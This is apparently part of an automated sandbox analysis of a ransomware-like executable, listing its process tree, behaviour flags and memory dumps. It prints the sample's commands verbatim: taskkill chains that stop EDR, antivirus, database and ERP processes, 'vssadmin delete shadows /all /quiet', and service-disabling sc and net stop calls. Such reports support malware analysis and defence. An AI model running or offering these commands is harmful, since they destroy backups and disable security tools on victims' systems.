C:\Windows\system32\taskkill.exetaskkill /IM ControlServer.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DisklessServer.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DumpServer.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM NetDiskServer.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM PersonUDisk.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM service_agent.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SoftMemory.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM BarServer.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RtkNGUI64.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Serv-U-Tray.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM QQPCSoftTrayTips.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SohuNews.exe /F5⤵
-
-
-
C:\Windows\system32\cmd.execmd /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @taskkill /IM tv_w32.exe /F & @taskkill /IM tv_x64.exe /F & @taskkill /IM rdm.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM SecureCRTPortable.exe /F & @taskkill /IM VirtualBox.exe /F & @taskkill /IM VBoxSVC.exe /F & @taskkill /IM VirtualBoxVM.exe /F & @taskkill /IM abs_deployer.exe /F & @taskkill /IM edr_monitor.exe /F & @taskkill /IM sfupdatemgr.exe /F & @taskkill /IM ipc_proxy.exe /F & @taskkill /IM edr_agent.exe /F & @taskkill /IM edr_sec_plan.exe /F & @taskkill /IM sfavsvc.exe /F & @taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F & @taskkill /IM DataShareBox.ShareBoxService.exe /F & @taskkill /IM Jointsky.CloudExchangeService.exe /F & @taskkill /IM Jointsky.CloudExchange.NodeService.ein /F & @taskkill /IM perl.exe /F & @taskkill /IM java.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM TsServer.exe /F & @taskkill /IM AppMain.exe /F & @taskkill /IM easservice.exe /F & @taskkill /IM Kingdee6.1.exe /F & @taskkill /IM QyKernel.exe /F & @taskkill /IM QyFragment.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM ComputerZTray.exe /F & @taskkill /IM ComputerZService.exe /F & @taskkill /IM ClearCache.exe /F & @taskkill /IM ProLiantMonitor.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM bugreport.exe /F & @taskkill /IM GNWebServer.exe /F & @taskkill /IM UI0Detect.exe /F & @taskkill /IM GNCore.exe /F & @taskkill /IM gnwayDDNS.exe /F & @taskkill /IM GNWebHelper.exe /F & @taskkill /IM php-cgi.exe /F & @taskkill /IM ESLUSBService.exe /F & @taskkill /IM CQA.exe /F & @taskkill /IM Kekcoek.pif /F & @taskkill /IM Tinuknx.exe /F & @taskkill /IM servers.exe /F & @taskkill /IM ping.exe /F & @taskkill /IM TianHeng.exe /F & @taskkill /IM K3MobileService.exe /F & @taskkill /IM VSSVC.exe /F & @taskkill /IM Xshell.exe /F & @taskkill /IM XshellCore.exe /F & @taskkill /IM FNPLicensingService.exe /F & @taskkill /IM XYNTService.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM EISService.exe /F & @taskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F & @taskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F & @taskkill /IM U8KeyManagePool.exe /F & @taskkill /IM U8MPool.exe /F & @taskkill /IM U8SCMPool.exe /F & @taskkill /IM UFIDA.U8.Report.SLReportService.exe /F & @taskkill /IM U8TaskService.exe /F & @taskkill /IM U8TaskWorker.exe /F & @taskkill /IM U8WebPool.exe /F & @taskkill /IM U8AllAuthServer.exe /F & @taskkill /IM UFIDA.U8.UAP.ReportService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.Services.exe /F & @taskkill /IM U8WorkerService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.exe /F & @taskkill /IM ShellStub.exe /F & @taskkill /IM U8UpLoadTask.exe /F & @taskkill /IM UfSysHostingService.exe /F & @taskkill /IM UFIDA.UBF.SystemManage.ApplicationService.exe /F & @taskkill /IM UFIDA.U9.CS.Collaboration.MailService.exe /F & @taskkill /IM NotificationService.exe /F & @taskkill /IM UBFdevenv.exe /F & @taskkill /IM UFIDA.U9.SystemManage.SystemManagerClient.exe /F & @taskkill /IM mongod.exe /F & @taskkill /IM SpusCss.exe /F & @taskkill /IM UUDesktop.exe /F & @taskkill /IM KDHRServices.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.Mobile.Servics.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM KDSvrMgrService.exe /F & @taskkill /IM pdfServer.exe /F & @taskkill /IM pdfspeedup.exe /F & @taskkill /IM SufAppServer.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.K3.Mobile.LightPushService.exe /F & @taskkill /IM iMTSSvcMgr.exe /F & @taskkill /IM kdmain.exe /F & @taskkill /IM KDActMGr.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM K3ServiceUpdater.exe /F & @taskkill /IM Aua.exe /F & @taskkill /IM iNethinkSQLBackup.exe /F & @taskkill /IM auaJW.exe /F & @taskkill /IM Scheduler.exe /F & @taskkill /IM bschJW.exe /F & @taskkill /IM SystemTray64.exe /F & @taskkill /IM OfficeDaemon.exe /F & @taskkill /IM OfficeIndex.exe /F & @taskkill /IM OfficeIm.exe /F & @taskkill /IM iNethinkSQLBackupConsole.exe /F & @taskkill /IM OfficeMail.exe /F & @taskkill /IM OfficeTask.exe /F & @taskkill /IM OfficePOP3.exe /F & @taskkill /IM apache.exe /F & @taskkill /IM GnHostService.exe /F /T & @taskkill /IM HwUVPUpgrade.exe /F /T & @taskkill /IM "Kingdee.KIS.UESystemSer.exe" /F /T & @taskkill /IM uvpmonitor.exe /F /T & @taskkill /IM UVPUpgradeService.exe /F /T & @taskkill /IM KDdataUpdate.exe /F /T & @taskkill /IM Portal.exe /F /T & @taskkill /IM U8SMSSrv.exe /F /T & @taskkill /IM "Ufida.T.SM.PublishService.exe" /F /T & @taskkill /IM lta8.exe /F /T & @taskkill /IM UfSvrMgr.exe /F /T & @taskkill /IM AutoUpdateService.exe /F /T & @taskkill /IM MOM.exe /F /T"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM VBoxSDS.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM mysqld.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TeamViewer_Service.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TeamViewer.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM CasLicenceServer.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM tv_w32.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM tv_x64.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM rdm.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SecureCRT.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SecureCRTPortable.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM VirtualBox.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM VBoxSVC.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM VirtualBoxVM.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM abs_deployer.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM edr_monitor.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sfupdatemgr.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ipc_proxy.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM edr_agent.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM edr_sec_plan.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sfavsvc.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DataShareBox.ShareBoxMonitorService.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DataShareBox.ShareBoxService.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Jointsky.CloudExchangeService.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Jointsky.CloudExchange.NodeService.ein /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM perl.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM java.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM emagent.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TsServer.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AppMain.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM easservice.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Kingdee6.1.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM QyKernel.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM QyFragment.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UserClient.exe /F5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2eb7adb48baacee947dd75d01e686f1f.exe"C:\Users\Admin\AppData\Local\Temp\2eb7adb48baacee947dd75d01e686f1f.exe"2⤵
- Modifies extensions of user files
- Adds Run key to start application
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c @echo off sc config browser sc config browser start=enabled vssadmin delete shadows /all /quiet sc stop vss sc config vss start=disabled sc stop MongoDB sc config MongoDB start=disabled sc stop SQLWriter sc config SQLWriter start=disabled sc stop MSSQLServerOLAPService sc config MSSQLServerOLAPService start=disabled sc stop MSSQLSERVER sc config MSSQLSERVER start=disabled sc stop MSSQL$SQLEXPRESS sc config MSSQL$SQLEXPRESS start=disabled sc stop ReportServer sc config ReportServer start=disabled sc stop OracleServiceORCL sc config OracleServiceORCL start=disabled sc stop OracleDBConsoleorcl sc config OracleDBConsoleorcl start=disabled sc stop OracleMTSRecoveryService sc config OracleMTSRecoveryService start=disabled sc stop OracleVssWriterORCL sc config OracleVssWriterORCL start=disabled sc stop MySQL sc config MySQL start=disabled3⤵
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "77312716131011051058184282-699600806-1222122224812397481943162417-827765829"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1998135432-500956698-8097636812939784321110157408-1274736560931367303-925112699"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "14153233162091630629-89973402199994007-6318450321150028316-24616272126060235"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "11257634073770745579133207131920185357327955441203538541516705488501205497750"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-922759207-3961960521830343271-1663230447-2097900803126292419-1116860948993003202"1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "memcached Server"1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DellDRLogSvc1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mysqltransport1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeFastSearch1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "AliyunService"1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/732-69-0x0000000004870000-0x0000000004871000-memory.dmp
memory/732-73-0x0000000005240000-0x0000000005241000-memory.dmp
memory/732-105-0x0000000006300000-0x0000000006301000-memory.dmp
memory/732-106-0x0000000006310000-0x0000000006311000-memory.dmp
memory/732-90-0x0000000006280000-0x0000000006281000-memory.dmp
memory/732-83-0x00000000061D0000-0x00000000061D1000-memory.dmp
memory/732-82-0x000000007EF30000-0x000000007EF31000-memory.dmp
memory/732-81-0x0000000006060000-0x0000000006061000-memory.dmp
memory/732-76-0x0000000005650000-0x0000000005651000-memory.dmp
memory/732-91-0x0000000005610000-0x0000000005611000-memory.dmp
memory/732-72-0x0000000002540000-0x0000000002541000-memory.dmp
memory/732-71-0x0000000004832000-0x0000000004833000-memory.dmp
memory/732-70-0x0000000004830000-0x0000000004831000-memory.dmp
memory/732-68-0x00000000009C0000-0x00000000009C1000-memory.dmp
memory/732-67-0x00000000767B1000-0x00000000767B3000-memory.dmp
memory/1116-65-0x00000000006F0000-0x000000000073B000-memory.dmp
memory/1116-64-0x00000000050D0000-0x000000000515C000-memory.dmp
memory/1116-60-0x0000000000C60000-0x0000000000C61000-memory.dmp
memory/1116-63-0x0000000000380000-0x0000000000394000-memory.dmp
memory/1116-62-0x0000000004F90000-0x0000000004F91000-memory.dmp
memory/1628-115-0x000007FEFC301000-0x000007FEFC303000-memory.dmp
memory/1936-111-0x0000000000400000-0x0000000000447000-memory.dmp
memory/1936-120-0x0000000000400000-0x0000000000447000-memory.dmp